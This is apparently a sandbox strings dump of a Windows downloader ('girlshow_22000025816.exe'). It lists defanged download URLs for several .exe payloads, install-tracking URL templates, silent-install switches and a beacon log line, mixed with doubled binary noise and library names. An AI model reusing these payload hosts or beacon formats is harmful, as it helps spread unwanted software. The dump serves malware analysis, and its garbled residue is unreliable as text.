uR~tS}sU|qTxnRwlQxjOuiNrfNpcNn_Nn`Nl`Ml_Lj`Kh_Jh]Jh]Ii\Hf[GeYEeYEeYEdYFfYGfYGeXGdWFeXEg\Fh_Hg`GicHibGjcGmeIniHokJtnMxqO|rQ~uR

]l|[l|]l|[izYhyZhxYgxWfwVduUdtTfuVgvVfvVfwVewWfwXgvXgwWfwWevUduTeuTewSdvTduTcsTcrTcqTdoSepRepSeoTenOF'PG'QH'QI(RH'TJ(SK)TH'XJ&YM&[N(\O)]P*`T-_S-`U bV*eV fZ*h^ j_-ma.oa0qb2sf4uh5uh5vk6xl9xk;xjp]?o]?lZ?l[=k\;iZ:hX9gV8gU9gW;fV;cW=cW?cT@aR>aTVOSJ?RJPK=PK>PK>NK>OK?OK?NK?MJ@NJAOJ@PJ?OJ?OJ?PJ>QL@SOCUSBWUCYUD[UD\XF_\Fc_FhcHlfKomLrsKxvN~{T

]l|[l|]l|[izYhyZhxYgxWfwVduUdtTfuVgvVfvVfwVewWfwXgvXgwWfwWevUduTeuTewSdvTduTcsTcrTcqTdoSepRepSeoTenOF'PG'QH'QI(RH'TJ(SK)TH'XJ&YM&[N(\O)]P*`T-_S-`U bV*eV fZ*h^ j_-ma.oa0qb2sf4uh5uh5vk6xl9xk;xjp]?o]?lZ?l[=k\;iZ:hX9gV8gU9gW;fV;cW=cW?cT@aR>aTVOSJ?RJPK=PK>PK>NK>OK?OK?NK?MJ@NJAOJ@PJ?OJ?OJ?PJ>QL@SOCUSBWUCYUD[UD\XF_\Fc_FhcHlfKomLrsKxvN~{T

Sh~Rh~Sf~Pf|Pe{Qh|Ri|Si|WgzYgyYhzYgyYhzYizYiz[jz\j{]jz_j{^k{_l{^n|]nz[mw]ly^lx^jx]jv\kuWJ(UJ'UJ'VJ'XK([M([M'[L)\O*\N*[M*^Q,^Q,^S,_T,`U,bV-eW.gX/h[/gZ.h[2j\3j]3l]4k[6j[6j[5fY4fZ3dW2dV5dV6bT5bR4`R3`R3_Q4\O4[N2ZN3XK1VJ.UG/UH/WJ1UI3UI5SH4RF4PE5OE3LF0KH0MI3JH4HG3JG3IH4HG3GF2FE2GF4HF5GF4HF5HG7GH:GG;FF;FF:GF:FE:EE;ED?F=AF=@F=?E>?E=?FCF@CD@DC@EE>GDGH?IJAJLCLNCPOCTPCURCYVF]ZFb_FfdFjgHroNwtPyyP

Sh~Rh~Sf~Pf|Pe{Qh|Ri|Si|WgzYgyYhzYgyYhzYizYiz[jz\j{]jz_j{^k{_l{^n|]nz[mw]ly^lx^jx]jv\kuWJ(UJ'UJ'VJ'XK([M([M'[L)\O*\N*[M*^Q,^Q,^S,_T,`U,bV-eW.gX/h[/gZ.h[2j\3j]3l]4k[6j[6j[5fY4fZ3dW2dV5dV6bT5bR4`R3`R3_Q4\O4[N2ZN3XK1VJ.UG/UH/WJ1UI3UI5SH4RF4PE5OE3LF0KH0MI3JH4HG3JG3IH4HG3GF2FE2GF4HF5GF4HF5HG7GH:GG;FF;FF:GF:FE:EE;ED?F=AF=@F=?E>?E=?FCF@CD@DC@EE>GDGH?IJAJLCLNCPOCTPCURCYVF]ZFb_FfdFjgHroNwtPyyP

Od~Od~Sc|Vd{We|Vf|Vg}Wg~Xh~Yi}Yi}\j}]i|^k}_l}^l}_m~`l}`m}`o{`oz`rx`rx]Q'\P(\P)\P(]Q(`R*_Q*^Q _S _S `S,`T.aT.aT/bU0dU2eW1eW0gW1gX0gX/gX1hX1gY0fX1eW4cV2cV1aS0`S1`U0`S0_R2^R0]Q0]P1ZN1XM1XM1UJ.VL0VL/SI-VI1VI1SH4QG4PG3OG3MF1LG2IH4IJ4IH4HG3FG3FG3FF3FG3EG2EF2DC3DC4BC4AC6BD7BD;@CB9?B:=@;C;>C>@B@CB?EB?DB?DE?GH@HJCHKBKMCOODQOCSRCXXD\[Gb_IhfJmmIrrJwuN{zP

Od~Od~Sc|Vd{We|Vf|Vg}Wg~Xh~Yi}Yi}\j}]i|^k}_l}^l}_m~`l}`m}`o{`oz`rx`rx]Q'\P(\P)\P(]Q(`R*_Q*^Q _S _S `S,`T.aT.aT/bU0dU2eW1eW0gW1gX0gX/gX1hX1gY0fX1eW4cV2cV1aS0`S1`U0`S0_R2^R0]Q0]P1ZN1XM1XM1UJ.VL0VL/SI-VI1VI1SH4QG4PG3OG3MF1LG2IH4IJ4IH4HG3FG3FG3FF3FG3EG2EF2DC3DC4BC4AC6BD7BD;@CB9?B:=@;C;>C>@B@CB?EB?DB?DE?GH@HJCHKBKMCOODQOCSRCXXD\[Gb_IhfJmmIrrJwuN{zP

Te~Ug}Wf|[i}Zi}Zi|[j}\j}]j|^k}_l|`m{_nybZ)b\*bX*dZ dY,cW.dV.eW.dV.dU/eV0fW/fX/gX1hZ6i[5h[2hY3hZ2hZ/hZ/gX0fW1eW0dX1cW1bT0bT1`S0`T1^U0_U0^R0\N0ZN0YM/WM/XL0XM1WL0UK0VL2VJ3TI4RG4QF4QG4QG2NG1MH0LI3II5JI5GG5EG3FG2EF2CF2BE2BE0AD1AB5@B5>B7?C:?C:=B99?99@:8?:8>:9;8?;8?;9@>:B>>C=?B>>A>@B?DB?DE@FHAIJBJMCMNCPPCSRBVUB[YC^^EcaIieMmmLqsLuvPzzQ

Te~Ug}Wf|[i}Zi}Zi|[j}\j}]j|^k}_l|`m{_nybZ)b\*bX*dZ dY,cW.dV.eW.dV.dU/eV0fW/fX/gX1hZ6i[5h[2hY3hZ2hZ/hZ/gX0fW1eW0dX1cW1bT0bT1`S0`T1^U0_U0^R0\N0ZN0YM/WM/XL0XM1WL0UK0VL2VJ3TI4RG4QF4QG4QG2NG1MH0LI3II5JI5GG5EG3FG2EF2CF2BE2BE0AD1AB5@B5>B7?C:?C:=B99?99@:8?:8>:9;8?;8?;9@>:B>>C=?B>>A>@B?DB?DE@FHAIJBJMCMNCPPCSRBVUB[YC^^EcaIieMmmLqsLuvPzzQ

!iTXtXML:com.adobe.xmp

!iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

%Sc9!

%Sc9!

.HN:@

.HN:@

Y[FJ%-.-I}b}a

Y[FJ%-.-I}b}a

Fz.ss

Fz.ss

.OzV(h

.OzV(h

Y;-.nX

Y;-.nX

-p}L%l

-p}L%l

%%cUf

%%cUf

.DyER

.DyER

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

~ˆ88.lp

~ˆ88.lp

5u

5u

zßk

zßk

url&|

url&|

6&.ZYn

6&.ZYn

>.GbbbUt

>.GbbbUt

I[.rk

I[.rk

I\J%F:

I\J%F:

IKLz%s

IKLz%s

3%uZ,

3%uZ,

$1!.JT

$1!.JT

" id="W5M0MpCehiHzreSzNTczkc9d"?> w

" id="W5M0MpCehiHzreSzNTczkc9d"?> w

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

Winapi.TlHelp32

Winapi.TlHelp32

Winapi.Windows

Winapi.Windows

System.UITypes

System.UITypes

System.Types

System.Types

%System.Classes

%System.Classes

dSystem.SysConst

dSystem.SysConst

System.RTLConsts

System.RTLConsts

,System.Character

,System.Character

System.SysUtils

System.SysUtils

ISystem.Internal.ExcUtils

ISystem.Internal.ExcUtils

kWinapi.PsAPI

kWinapi.PsAPI

Winapi.SHFolder

Winapi.SHFolder

-Winapi.ImageHlp

-Winapi.ImageHlp

System.TypInfo

System.TypInfo

System.Variants

System.Variants

System.VarUtils

System.VarUtils

Winapi.ActiveX

Winapi.ActiveX

Winapi.Messages

Winapi.Messages

&System.DateUtils

&System.DateUtils

System.Generics.Defaults

System.Generics.Defaults

System.Generics.Collections

System.Generics.Collections

System.SyncObjs

System.SyncObjs

System.Math

System.Math

System.Diagnostics

System.Diagnostics

System.TimeSpan

System.TimeSpan

YSystem.AnsiStrings

YSystem.AnsiStrings

System.StrUtils

System.StrUtils

IdStackWindows

IdStackWindows

System.WideStrUtils

System.WideStrUtils

Winapi.Dlgs

Winapi.Dlgs

Winapi.RichEdit

Winapi.RichEdit

8Vcl.ToolWin

8Vcl.ToolWin

Vcl.Graphics

Vcl.Graphics

yVcl.Consts

yVcl.Consts

'System.UIConsts

'System.UIConsts

System.Win.Registry

System.Win.Registry

System.IniFiles

System.IniFiles

iSystem.IOUtils

iSystem.IOUtils

System.Masks

System.Masks

Winapi.Wincodec

Winapi.Wincodec

eVcl.Forms

eVcl.Forms

Vcl.ImgList

Vcl.ImgList

Vcl.Themes

Vcl.Themes

RVcl.Dialogs

RVcl.Dialogs

System.HelpIntfs

System.HelpIntfs

NSystem.Contnrs

NSystem.Contnrs

Winapi.MultiMon

Winapi.MultiMon

CVcl.ExtCtrls

CVcl.ExtCtrls

Winapi.CommCtrl

Winapi.CommCtrl

Winapi.Dwmapi

Winapi.Dwmapi

Winapi.UxTheme

Winapi.UxTheme

Winapi.ShellAPI

Winapi.ShellAPI

Winapi.IpExport

Winapi.IpExport

Winapi.Winsock2

Winapi.Winsock2

Winapi.Qos

Winapi.Qos

Vcl.GraphUtil

Vcl.GraphUtil

System.ZLib

System.ZLib

System.Win.Crtl

System.Win.Crtl

Vcl.StdCtrls

Vcl.StdCtrls

Vcl.ActnList

Vcl.ActnList

Vcl.Controls

Vcl.Controls

Winapi.TpcShrd

Winapi.TpcShrd

:Winapi.Imm

:Winapi.Imm

(Vcl.Menus

(Vcl.Menus

Vcl.ComCtrls

Vcl.ComCtrls

Winapi.CommDlg

Winapi.CommDlg

Winapi.ShlObj

Winapi.ShlObj

Winapi.msxml

Winapi.msxml

System.Win.ComObj

System.Win.ComObj

System.Win.ComConst

System.Win.ComConst

Winapi.StructuredQueryCondition

Winapi.StructuredQueryCondition

Winapi.PropSys

Winapi.PropSys

Winapi.ObjectArray

Winapi.ObjectArray

hWinapi.UrlMon

hWinapi.UrlMon

Winapi.WinInet

Winapi.WinInet

4Winapi.RegStr

4Winapi.RegStr

Vcl.StdActns

Vcl.StdActns

jVcl.Clipbrd

jVcl.Clipbrd

WVcl.ComStrs

WVcl.ComStrs

bVcl.Printers

bVcl.Printers

Winapi.WinSpool

Winapi.WinSpool

Vcl.ListActns

Vcl.ListActns

Winapi.FlatSB

Winapi.FlatSB

Winapi.DirectDraw

Winapi.DirectDraw

Winapi.GDIPAPI

Winapi.GDIPAPI

Winapi.GDIPOBJ

Winapi.GDIPOBJ

Soap.EncdDecd

Soap.EncdDecd

Font.Charset

Font.Charset

Font.Color

Font.Color

Font.Height

Font.Height

Font.Name

Font.Name

Font.Style

Font.Style

Picture.Data

Picture.Data

72701-/%

72701-/%

3355555522

3355555522

K1.WF

K1.WF

*%D

*%D

0Pn.DX

0Pn.DX

.sF_?

.sF_?

%D;::"

%D;::"

crtp

crtp

#msg.

#msg.

eUE].Iz

eUE].Iz

#.GcZI

#.GcZI

2M1%x>

2M1%x>

]m.iv[

]m.iv[

-D.mmSZ

-D.mmSZ

Dr[%D

Dr[%D

.dEu(~

.dEu(~

@.eZ;N

@.eZ;N

y6%S5-

y6%S5-

6-U}`

6-U}`

.fkjmM

.fkjmM

Items.Strings

Items.Strings

04/21/15 02:54:132696

04/21/15 02:54:132696

1, 0, 0, 1

1, 0, 0, 1

Client.EXE

Client.EXE

iexplore.exe_1632:

%?9-*09,*19}*09

%?9-*09,*19}*09

.text

.text

`.data

`.data

.rsrc

.rsrc

msvcrt.dll

msvcrt.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

USER32.dll

USER32.dll

SHLWAPI.dll

SHLWAPI.dll

SHDOCVW.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

IE-X-X

rsabase.dll

rsabase.dll

System\CurrentControlSet\Control\Windows

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

dw15 -x -s %u

watson.microsoft.com

watson.microsoft.com

IEWatsonURL

IEWatsonURL

%s -h %u

%s -h %u

iedw.exe

iedw.exe

Iexplore.XPExceptionFilter

Iexplore.XPExceptionFilter

jscript.DLL

jscript.DLL

mshtml.dll

mshtml.dll

mlang.dll

mlang.dll

urlmon.dll

urlmon.dll

wininet.dll

wininet.dll

shdocvw.DLL

shdocvw.DLL

browseui.DLL

browseui.DLL

comctl32.DLL

comctl32.DLL

IEXPLORE.EXE

IEXPLORE.EXE

iexplore.pdb

iexplore.pdb

ADVAPI32.dll

ADVAPI32.dll

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

IExplorer.EXE

IExplorer.EXE

IIIIIB(II<.fg>

IIIIIB(II<.fg>

7?_____ZZSSH%

7?_____ZZSSH%

)z.UUUUUUUU

)z.UUUUUUUU

,....Qym

,....Qym

````2```

````2```

{.QLQIIIKGKGKGKGKGKG

{.QLQIIIKGKGKGKGKGKG

;33;33;0

;33;33;0

8888880

8888880

8887080

8887080

browseui.dll

browseui.dll

shdocvw.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

6.00.2900.5512 (xpsp.080413-2105)

Windows

Windows

Operating System

Operating System

6.00.2900.5512

6.00.2900.5512

girlshow_22000025816.exe_2024:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

t.Ht4

t.Ht4

.\ConfigDlg.cpp

.\ConfigDlg.cpp

ServiceClient.dll

ServiceClient.dll

ServiceClient.exe

ServiceClient.exe

Player\DefCamSetup.dll

Player\DefCamSetup.dll

CamerDll:%s

CamerDll:%s

dbghelp.dll

dbghelp.dll

%sddd_ddd.dmp

%sddd_ddd.dmp

CGuaGuaMsgBoxDlg

CGuaGuaMsgBoxDlg

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

.\ImageMgr.cpp

.\ImageMgr.cpp

Resource%d

Resource%d

FirstImage %s

FirstImage %s

LastImage %s

LastImage %s

Image%d

Image%d

%c:\Program Files\

%c:\Program Files\

.\ProductInfoMgr.cpp

.\ProductInfoMgr.cpp

GetAllProductInfo %d

GetAllProductInfo %d

hXXp://downloader.re58.cn/downcontainer/downLoad.do

hXXp://downloader.re58.cn/downcontainer/downLoad.do

log\1.xml

log\1.xml

hXXp://downloader.re58.cn/downcontainer/downLoadInfo.do

hXXp://downloader.re58.cn/downcontainer/downLoadInfo.do

%s?id=%s&oemID=%d&recid=%I64d

%s?id=%s&oemID=%d&recid=%I64d

%s?oemID=%d&recid=%I64d

%s?oemID=%d&recid=%I64d

log\2.xml

log\2.xml

installUrl

installUrl

installUrl2

installUrl2

licenseUrl

licenseUrl

LoadConfig %d

LoadConfig %d

App GetProductInfo(%s) Error %d

App GetProductInfo(%s) Error %d

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/kele.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qixi.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/qiji.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/juxing.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/pingguo.exe

hXXp://img001.com/business/caihong.exe

hXXp://img001.com/business/caihong.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/kele.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qixi.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/qiji.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/juxing.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/pingguo.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://d.re71.cn/business/caihong.exe

hXXp://VVV.%s.com

hXXp://VVV.%s.com

hXXp://cj.%s.com/downloader/

hXXp://cj.%s.com/downloader/

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

hXXp://img001.com/business/guagua_dance_setup.exe

GuaGua\GuaGua.exe

GuaGua\GuaGua.exe

Dance\ChatHall.exe

Dance\ChatHall.exe

hXXp://cj.guagua.cn/downloader/

hXXp://cj.guagua.cn/downloader/

ChatHall.exe

ChatHall.exe

UpdateConfig Success%d

UpdateConfig Success%d

hXXp://download.re58.cn

hXXp://download.re58.cn

LoadCookie %d

LoadCookie %d

LoadCookie: RecommendStr=%s

LoadCookie: RecommendStr=%s

%d:%I64d:%d

%d:%I64d:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

UpdateConfig RecType:%d, RecId:%I64d, Ad:%d

HMAFROMURL

HMAFROMURL

UpdateConfig: SourceUrl=%s

UpdateConfig: SourceUrl=%s

UpdateConfig: WebID=%s

UpdateConfig: WebID=%s

G1.0.0

G1.0.0

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&dltime=%d&insttime=%d&homepage=%d&recinst=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

%s%s?dlver=%s&pname=%s&pver=%s&cmdtype=%d&cmdid=%I64d&ad=%d&oemid=%d&fromurl=%s&webid=%s&err=%d

rec_type:%d,

rec_type:%d,

rec_ad:%d,

rec_ad:%d,

src_url:%s,

src_url:%s,

web_id:%s,

web_id:%s,

.\ReptThread.cpp

.\ReptThread.cpp

Rept %s Result [%d, %d]

Rept %s Result [%d, %d]

%slog\ddd ddd.log

%slog\ddd ddd.log

.\SetupTool.cpp

.\SetupTool.cpp

CSetupToolApp %d

CSetupToolApp %d

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer()

CImageMgr::Instance().LoadFromServer() Success

CImageMgr::Instance().LoadFromServer() Success

.\SetupToolDlg.cpp

.\SetupToolDlg.cpp

OnCmdStart() m_bPinTaskbar=%d

OnCmdStart() m_bPinTaskbar=%d

OnCmdStart() strPorductName=%s

OnCmdStart() strPorductName=%s

State=%d,runafterinstall=%d

State=%d,runafterinstall=%d

OnCmdStart() StartClient=%d

OnCmdStart() StartClient=%d

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

/S /AUTOSTART=%s /COMMENDER_ID=%s /D=%s

Launch InstallProgram: %s %s

Launch InstallProgram: %s %s

CSetupToolDlg::LaunchInstallProgram() path=%s Fail

CSetupToolDlg::LaunchInstallProgram() path=%s Fail

State=%d

State=%d

nCount=%d,currentImage=%d

nCount=%d,currentImage=%d

Call LaunchGuaGua(%s)

Call LaunchGuaGua(%s)

CSetupToolDlg::LaunchGuaGua() path=%s Fail

CSetupToolDlg::LaunchGuaGua() path=%s Fail

Exec %s [%d]

Exec %s [%d]

-%%

-%%

\DownLoader\OnlineSetupV2\Common\Path.cpp

\DownLoader\OnlineSetupV2\Common\Path.cpp

ExecApp %s %s [%d]

ExecApp %s %s [%d]

[%d, %d]: %s

[%d, %d]: %s

\DownLoader\OnlineSetupV2\Common\ColorCheckButton.cpp

\DownLoader\OnlineSetupV2\Common\ColorCheckButton.cpp

Checked %d

Checked %d

\DownLoader\OnlineSetupV2\Common\BitmapFile.cpp

\DownLoader\OnlineSetupV2\Common\BitmapFile.cpp

CBitmapFile::Open(%s)

CBitmapFile::Open(%s)

\DownLoader\OnlineSetupV2\Common\DownloadManager.cpp

\DownLoader\OnlineSetupV2\Common\DownloadManager.cpp

InternalDownloadFile() break=%d

InternalDownloadFile() break=%d

SupportBreakDownload

SupportBreakDownload

Begin SupportBreakDownload

Begin SupportBreakDownload

End SupportBreakDownload bThreadFinish=%d

End SupportBreakDownload bThreadFinish=%d

\DownLoader\OnlineSetupV2\Common\DownloadThread.cpp

\DownLoader\OnlineSetupV2\Common\DownloadThread.cpp

Begin OnExecute GetUnfinishBytes nId=%d

Begin OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute GetUnfinishBytes nId=%d

End OnExecute Receive nId=%d

End OnExecute Receive nId=%d

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)

\DownLoader\OnlineSetupV2\Common\HttpClass.cpp

\DownLoader\OnlineSetupV2\Common\HttpClass.cpp

CHttpClass SetOption

CHttpClass SetOption

CHttpClass SetOption Finish

CHttpClass SetOption Finish

GetHttpFile(%s, %s) error: [%d,%d]%s

GetHttpFile(%s, %s) error: [%d,%d]%s

SendHttpMsg %d

SendHttpMsg %d

SendHttpMsg %d %s

SendHttpMsg %d %s

SendHttpMsg(%s) error: [%d,%d]%s

SendHttpMsg(%s) error: [%d,%d]%s

User-Agent: %s

User-Agent: %s

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

PostHttpMsg(%s) error: [%d,%d]%s

PostHttpMsg(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

GetHttpFileInfo(%s) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRangeRequest(%s, %I64d, %I64d) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

HttpRequest(%s) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

ReceiveBytes(%d) error: [%d,%d]%s

\DownLoader\OnlineSetupV2\Common\OutputFile.cpp

\DownLoader\OnlineSetupV2\Common\OutputFile.cpp

%s, %d

%s, %d

%s, length = %I64d err = %d

%s, length = %I64d err = %d

COutputFile::WriteData(%I64d, %d)

COutputFile::WriteData(%I64d, %d)

d:d:d:d

d:d:d:d

File: %s

File: %s

Line:%d

Line:%d

Cond: ASSERT( %s );

Cond: ASSERT( %s );

Condition: ASSERT( %s );

Condition: ASSERT( %s );

SourceFile: %s

SourceFile: %s

LineNum: %d

LineNum: %d

COMCTL32.DLL

COMCTL32.DLL

hhctrl.ocx

hhctrl.ocx

commctrl_DragListMsg

commctrl_DragListMsg

CCmdTarget

CCmdTarget

CNotSupportedException

CNotSupportedException

ntdll.dll

ntdll.dll

kernel32.dll

kernel32.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

%s.dll

%s.dll

CHttpConnection

CHttpConnection

CHttpFile

CHttpFile

hXXp://

hXXp://

WININET.DLL

WININET.DLL

HTTP/1.0

HTTP/1.0

MSWHEEL_ROLLMSG

MSWHEEL_ROLLMSG

user32.dll

user32.dll

ole32.dll

ole32.dll

mscoree.dll

mscoree.dll

internal state. The program cannot safely continue execution and must

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

continue execution and must now be terminated.

- This application cannot run using the active version of the Microsoft .NET Runtime

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

Please contact the application's support team for more information.

GetProcessWindowStation

GetProcessWindowStation

OLEACC.dll

OLEACC.dll

d:\DownLoader\OnlineSetupV2\GirlsShow_together_select\SmallStationRelease\SetupTool.pdb

d:\DownLoader\OnlineSetupV2\GirlsShow_together_select\SmallStationRelease\SetupTool.pdb

GetCPInfo

GetCPInfo

KERNEL32.dll

KERNEL32.dll

CreateDialogIndirectParamA

CreateDialogIndirectParamA

GetKeyState

GetKeyState

UnhookWindowsHookEx

UnhookWindowsHookEx

SetWindowsHookExA

SetWindowsHookExA

USER32.dll

USER32.dll

GetViewportExtEx

GetViewportExtEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GDI32.dll

GDI32.dll

comdlg32.dll

comdlg32.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegEnumKeyExA

RegEnumKeyExA

RegOpenKeyA

RegOpenKeyA

RegDeleteKeyA

RegDeleteKeyA

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteA

ShellExecuteA

ShellExecuteExA

ShellExecuteExA

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

UrlUnescapeA

UrlUnescapeA

SHLWAPI.dll

SHLWAPI.dll

oledlg.dll

oledlg.dll

OLEAUT32.dll

OLEAUT32.dll

InternetCrackUrlA

InternetCrackUrlA

InternetCanonicalizeUrlA

InternetCanonicalizeUrlA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GdipSetImageAttributesColorKeys

GdipSetImageAttributesColorKeys

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

WS2_32.dll

WS2_32.dll

.PAVCObject@@

.PAVCObject@@

.PAVCException@@

.PAVCException@@

.PAVCINETException@@

.PAVCINETException@@

.PAVCInternetException@@

.PAVCInternetException@@

.?AVCCmdTarget@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.?AVCTestCmdUI@@

.PAVCUserException@@

.PAVCUserException@@

.PAVCSimpleException@@

.PAVCSimpleException@@

.PAVCResourceException@@

.PAVCResourceException@@

.PAVCOleException@@

.PAVCOleException@@

.PAVCMemoryException@@

.PAVCMemoryException@@

.PAVCNotSupportedException@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.?AVCNotSupportedException@@

.?AVCHttpConnection@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AVCHttpFile@@

.PAVCArchiveException@@

.PAVCArchiveException@@

.PAVCFileException@@

.PAVCFileException@@

.PAVCOleDispatchException@@

.PAVCOleDispatchException@@

zcÁ

zcÁ

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\log\20150427 014833.log

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\log\20150427 014833.log

01:49:52:545 Rept hXXp://cj.pingguo55.com/downloader/installcomplete?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393&dltime=65437&insttime=6672&homepage=1&recinst=0 Result [1, 200]

01:49:52:545 Rept hXXp://cj.pingguo55.com/downloader/installcomplete?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393&dltime=65437&insttime=6672&homepage=1&recinst=0 Result [1, 200]

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\girlshow_22000025816.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\girlshow_22000025816.exe

fiTXtXML:com.adobe.xmp

fiTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

..pV3

..pV3

l.CG

l.CG

!%dZG

!%dZG

R/.XR

R/.XR

-.JA

-.JA

"iTXtXML:com.adobe.xmp

"iTXtXML:com.adobe.xmp

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

B.iM4ZT@

B.iM4ZT@

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

A%XS=M

A%XS=M

.gW]X

.gW]X

Z.Is&

Z.Is&

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

" id="W5M0MpCehiHzreSzNTczkc9d"?>

.VOUc

.VOUc

.^/.xx

.^/.xx

.hBeNz"

.hBeNz"

%UK-r

%UK-r

)II,%d

)II,%d

9T*g

9T*g

dC".aPya

dC".aPya

cX%Sd&

cX%Sd&

}.fca|

}.fca|

.JK*l

.JK*l

Z_.ud

Z_.ud

X9NKey

X9NKey

.HMDz!'G%

.HMDz!'G%

.SY$lA2xC

.SY$lA2xC

" id="W5M0MpCehiHzreSzNTczkc9d"?> ,aS

" id="W5M0MpCehiHzreSzNTczkc9d"?> ,aS

